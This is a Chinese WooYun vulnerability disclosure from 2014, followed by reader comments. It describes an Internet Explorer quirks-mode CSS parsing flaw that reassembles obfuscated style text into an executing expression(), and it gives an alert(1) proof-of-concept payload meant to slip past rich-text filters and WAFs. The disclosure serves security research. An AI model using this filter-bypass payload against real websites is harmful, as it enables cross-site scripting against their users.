当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068564

漏洞标题:IE CSS解析问题可致新的XSS Vectors

相关厂商:微软

漏洞作者: gainover

提交时间:2014-07-15 11:32

修复时间:2014-10-13 11:34

公开时间:2014-10-13 11:34

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-15: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-13: 细节向公众公开

简要描述:

帮朋友研究如何绕过新浪的富文本过滤器的时候,顺带想写个小工具。
写个小工具的时候,顺带发现了一个意外。
发现了一个意外的时候,就发现了这个。
绝B是个很奇葩的漏洞!

详细说明:

本来是想写一个expression表达式的混淆工具。为了在expression里融入 /**/ 以及 \ 等东西,我手工测试时遇到了下面的问题:

font-family:exp/**/res\sion(alert(1))    <-- 无法正常执行
font-family:e\xp/**/ression(alert(1)) <-- 可以正常执行


这是一个很奇怪的结果,不知道以前有人遇到过没?
为什么 \ 在 /**/ 前面就可以执行,在 /**/后面就不执行了呢?为了研究搞清楚原因,我写了以下的代码来进行测试:

<div id="a" style="font-family:e\xp/**/ression(e(1))">aa</div>
<div id="b" style="font-family:exp/**/res\sion(e(1))">aa</div>
<script>
alert(document.getElementById("a").style.cssText);
alert(document.getElementById("b").style.cssText);
</script>


上面的代码的目的是取出IE解析之后的css内容,看看为什么会不执行了,结果比较意外:

font-family:e\xp/**/ression(e(1))  --> font-family:expression(e(1)) <-正常
font-family:exp/**/res\sion(e(1)) --> font-family:resression(e(1)) <-怪异


你会发现后者, /**/之前的内容被忽略, \之前的内容神奇的出现了2次。
虽然很神奇,但是这个特性并不能被利用。
但是,直觉告诉我,这个位置会有点什么!

111.jpg


前面翻译过一篇mXSS的文章,其中就有关于css里一些奇葩mutation,比如单引号,双引号什么的。
所以,接着我又改变了测试的代码如下:

<div id="b" style="font-family:exp/**/res'aaaa\sion(e(1))">aa</div>
<script>
alert(document.getElementById("b").style.cssText);
</script>


注意这个单引号(后经测试,实际上其它绝大多数符号都有一样的效果),这一次又神奇了,解析后的cssText内容如下:

font-family:aaaares'aaaasion(e(1))


也就是单引号之后,\之前的内容(即:aaaa)神奇的跑到res前面了!
这一次的这个特性,就感觉可以被利用了,构造以下内容

<div id="b" style="font-family:a/**/ression'exp\s(e(1))">aa</div>
解析后的cssText应是:
font-family:expression'exps(e(1))


可以看到,我们的原代码里没有expression这个词汇,解析后的css中出现了expression这个单词。
为了继续让expression可以被利用,我们可以继续构造:

<div id="b" style="font-family:a/**/ression(alert(1))('\')exp\')">aa</div>
解析后的cssText应是:
font-family:expression(alert(1))('\')exps') <--单引号正好


可以看到解析后的css中alert(1)将会被执行。

漏洞证明:

保存以下代码为test.htm, IE打开

<div id="b" style="font-family:a/**/ression(alert(1))('\')exp\')">aa</div>
<script>
alert(document.getElementById("b").style.cssText);
</script>


IE 8,9,10 quirks mode,局限性,对于设置了doctype的网页,将无法生效,可以结合一些让页面以quirks mode加载的技巧来实现一些利用。
对于一些富文本过滤器,或者WAF,可能存在绕过风险。由于代码利用中存在/**/ 和 \,这2个东西在CSS里本身就有点“臭”,经常是被过滤的对象(一个常见的过滤方式是css里存在/**/就直接把css置空)。可以考虑结合html实体转义来配合利用。
不论如何,还是很奇葩的,也许还可以利用这个特性干些其他的,也不一定~

修复方案:

很诚实的说:不知道。。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-20 08:14

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-15 11:32 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    沙发

  2. 2014-07-15 11:33 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    抢我座位

  3. 2014-07-15 11:34 | redsin ( 路人 | Rank:16 漏洞数:6 )

    坐等IE CSS解析问题可致新的XSS Vectors-2

  4. 2014-07-15 11:37 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    会载入史册么?

  5. 2014-07-15 11:38 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    占座 卖广告

  6. 2014-07-15 11:39 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    二哥你又来了。你一来就发大招……

  7. 2014-07-15 11:45 | wkc_2014 ( 普通白帽子 | Rank:164 漏洞数:45 | 2014-)

    靠,本来能抢前排的,电脑给特么死机了

  8. 2014-07-15 11:49 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @gainover 影响IE全版本么?

  9. 2014-07-15 11:52 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    前排饮料、爆米花

  10. 2014-07-15 11:54 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    安利产品了解一下?

  11. 2014-07-15 12:02 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    小板凳 汽水

  12. 2014-07-15 12:02 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @mramydnei css里的,IE11肯定是不行咯。前面的版本,quirks文档模式触发

  13. 2014-07-15 12:11 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    二哥又出来了

  14. 2014-07-15 12:17 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    围观大神

  15. 2014-07-15 12:22 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    后排卖301果照

  16. 2014-07-15 12:31 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @gainover = =quirks 似乎留下不少坑呢。

  17. 2014-07-15 12:57 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @gainover 那个朋友现在排在第五吧?唉,头疼

  18. 2014-07-15 13:39 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    占位 占位~

  19. 2014-07-15 13:42 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    关注!

  20. 2014-07-15 14:02 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    关注下~~

  21. 2014-07-15 14:12 | Undoit ( 普通白帽子 | Rank:167 漏洞数:25 | 打酱油)

    顺带

  22. 2014-07-15 14:58 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    火钳刘明,我昨天还在想css能不能导致xss,今天出来了~Mark下 @基佬

  23. 2014-07-15 14:59 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    前排占座饮料爆米花 广告位

  24. 2014-07-15 15:24 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    二哥的洞期期必看

  25. 2014-07-15 16:23 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    ....谢..谢.....谢.谢..........谢..谢....谢..谢..........谢..谢..谢.谢.谢.........谢......... 谢.......谢.............谢.....谢...............谢...谢.................谢.谢...................谢谢....................谢谢.....∩.......∩......谢谢. ..................谢谢. ...◎....U....◎....谢.谢.................谢...谢谢.............谢谢......谢.谢.谢.谢.谢.谢.谢......谢.............谢.......谢.............谢........谢...........谢.....

  26. 2014-07-15 16:24 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    好吧 字符画乱掉了

  27. 2014-07-15 16:32 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @lxj616 楼上的 你400多R 为什么是实习白帽子

  28. 2014-07-15 16:37 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    @乐乐、 孩子,你还小,等你长大就明白了

  29. 2014-07-15 16:48 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    mark

  30. 2014-07-15 17:04 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    无影响厂商忽略(WooYun 评价 8rank)

  31. 2014-07-15 17:14 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    你关注的白帽子 gainover 发表了漏洞 IE CSS解析问题可致新的XSS Vectors

  32. 2014-07-15 17:16 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @lxj616 孩子 你被潜规则了嘛

  33. 2014-07-15 17:42 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    这下好玩了

  34. 2014-07-15 18:03 | 过客 ( 实习白帽子 | Rank:42 漏洞数:13 )

    叼炸天

  35. 2014-07-15 18:23 | 小火苗 ( 路人 | Rank:6 漏洞数:1 | 我是一只小火苗呀,春风吹又生呀...)

    微软中国会不会来认领?

  36. 2014-07-15 18:44 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @小火苗 你想多了

  37. 2014-07-15 19:15 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    我一打开这个界面,电脑就黑了,二哥你果然是黑客

  38. 2014-07-15 19:36 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    占个座卖水果

  39. 2014-07-15 22:30 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    我一打开这个界面,电脑就黑了,二哥你果然是黑客

  40. 2014-07-16 22:08 | mlyKnown ( 路人 | Rank:2 漏洞数:1 | 咚咚咚咚,查水表啦。)

    二哥,你果然是黑客

  41. 2014-07-20 11:13 | 马化腾 ( 路人 | Rank:14 漏洞数:2 | 动词大呲咚呲哒呲)

    我一打开这个界面,电脑就黑了,二哥你果然是黑客

  42. 2014-07-20 14:32 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。被确认了?微软入驻乌云了?

  43. 2014-08-29 12:43 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    膜拜大牛...

  44. 2014-09-02 15:13 | LaiX ( 普通白帽子 | Rank:128 漏洞数:39 | 承接 建站、仿站、维护、反黑客、代码审计...)

    微软确认了??

  45. 2014-09-06 22:14 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    @px1624 @LaiX 已交由第三方厂商(cncert国家互联网应急中心)处理

  46. 2014-09-12 11:42 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    本以为二哥是一个开始脱发,大腹便便的胖子,看到真人没想到那么帅

  47. 2014-10-13 11:51 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    二哥厉害,ie骗我,说ie8以后就不支持expression

  48. 2014-10-13 13:20 | MARCH0 ( 路人 | Rank:0 漏洞数:1 | B-TENS)

    生物大神

  49. 2014-10-13 15:59 | 老妖 ( 路人 | Rank:22 漏洞数:3 )

    楼主厉害

  50. 2015-02-13 19:42 | 随随意意 ( 普通白帽子 | Rank:160 漏洞数:35 | 我对XSS并非真爱(┬_┬)最近有人冒充该...)

    额,